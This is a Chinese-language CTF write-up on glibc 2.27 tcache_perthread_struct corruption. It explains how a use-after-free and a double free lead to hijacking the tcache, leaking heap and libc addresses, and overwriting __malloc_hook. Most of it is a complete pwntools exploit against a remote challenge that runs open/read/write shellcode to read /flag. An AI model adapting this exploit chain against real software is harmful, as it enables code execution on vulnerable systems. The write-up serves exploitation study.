Pwn Ptmalloc2 Tcache Perthread Corruption

每个线程都有一个 tcache, 用一个 tcache_perthread_struct 的结构体维护, 这个结构体放在各个线程的堆上 (每个线程都有独立的堆空间). 那么只要劫持了这个结构体, 就可以直接篡改 tcache 了.

tcache_perthread_struct 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  uintptr_t key;
} tcache_entry;

# define TCACHE_MAX_BINS    64
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS]; // 2.27 以上这里类型是 uint16_t
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
  • 修改 next: 分配时不会检查 count 和 key, 故可以构造任意分配
  • 修改 count: 可以直接 free 到 fastbin 或者 unsorted bin 中

只要泄漏了堆地址, 就可以调试计算偏移得到 tcache_perthread_struct 地址. 或者泄漏 key, key 就是 tcache_perthread_struct 地址.

glibc 没 key 的 2.27, 菜单题, 保护全开, sandbox.

只允许 18 次操作, 限制 free 操作只有 3 次. 在 0x66660000 的地方 mmap 了一块 rwx 的页. 漏洞是 UAF.

double free tcache 可以 leak heap, 然后劫持 tcache_perthread_struct, 之后 count 变成负数, 再 free 就不到 tcach bin 中了. 所以可以用大于 0x80 的 chunk 来 double free 并劫持, 接着 free 放到 unsorted bin 中, show leak libc. 至此, 3 次 free 都用掉了.

接着可以直接 edit 篡改 tcache_perthread_struct, 比如把一个 0x100 的 entry 改为 0x66660000, 然后 add(0x100), edit 写入 shellcode. 再改一个到 malloc hook 改为 0x66660000, 这样下一次 add 就可以跳过去执行 shellcode 了.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'
libcname = '/home/wings/CTF/tools/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6'

# io = process(procname, stdin=PTY)
io = remote('node4.buuoj.cn', 25634)
elf = ELF(procname)
libc = ELF(libcname)

def n2b(x):
    return str(x).encode()

def op(x):
    io.sendlineafter(b'Your Choice: ', n2b(x))

def add(size):
    op(1)
    io.sendlineafter(b'size: ', n2b(size))

def show(idx):
    op(2)
    io.sendlineafter(b'id: ', n2b(idx))
    io.recvuntil(b'content: ')

def edit(idx, content):
    op(3)
    io.sendlineafter(b'id: ', n2b(idx))
    io.sendafter(b'content: ', content)

def delete(idx):
    op(4)
    io.sendlineafter(b'id: ', n2b(idx))

mmap = 0x66660000
buf = mmap + 0x100

add(0x100)  # 0
delete(0)
delete(0)
show(0)
heap = u64(io.recvline(keepends=False).ljust(8, b'\x00')) - 0x260
success(f'leak heap: {hex(heap)}')
tcache = heap + 0x10

add(0x100)  # 1
edit(1, p64(tcache))
add(0x100)  # 2
add(0x100)  # 3, tcache
add(0x10)   # 4

delete(2)
show(2)
libc.address = u64(io.recvline(keepends=False).ljust(8, b'\x00')) - 0x3ebca0
success(f'leak libc: {hex(libc.address)}')

edit(3, b'\x00' * 64 + p64(0) * 0xf + p64(mmap))
add(0x100)   # 5
sc  = shellcraft.open('/flag', 0)
sc += shellcraft.read(3, buf, 0x50)
sc += shellcraft.write(1, buf, 0x50)
edit(5, asm(sc))

edit(3, b'\x00' * 64 + p64(libc.sym['__malloc_hook']))
add(0x10)   # 6
edit(6, p64(mmap))

add(0x10)

io.interactive()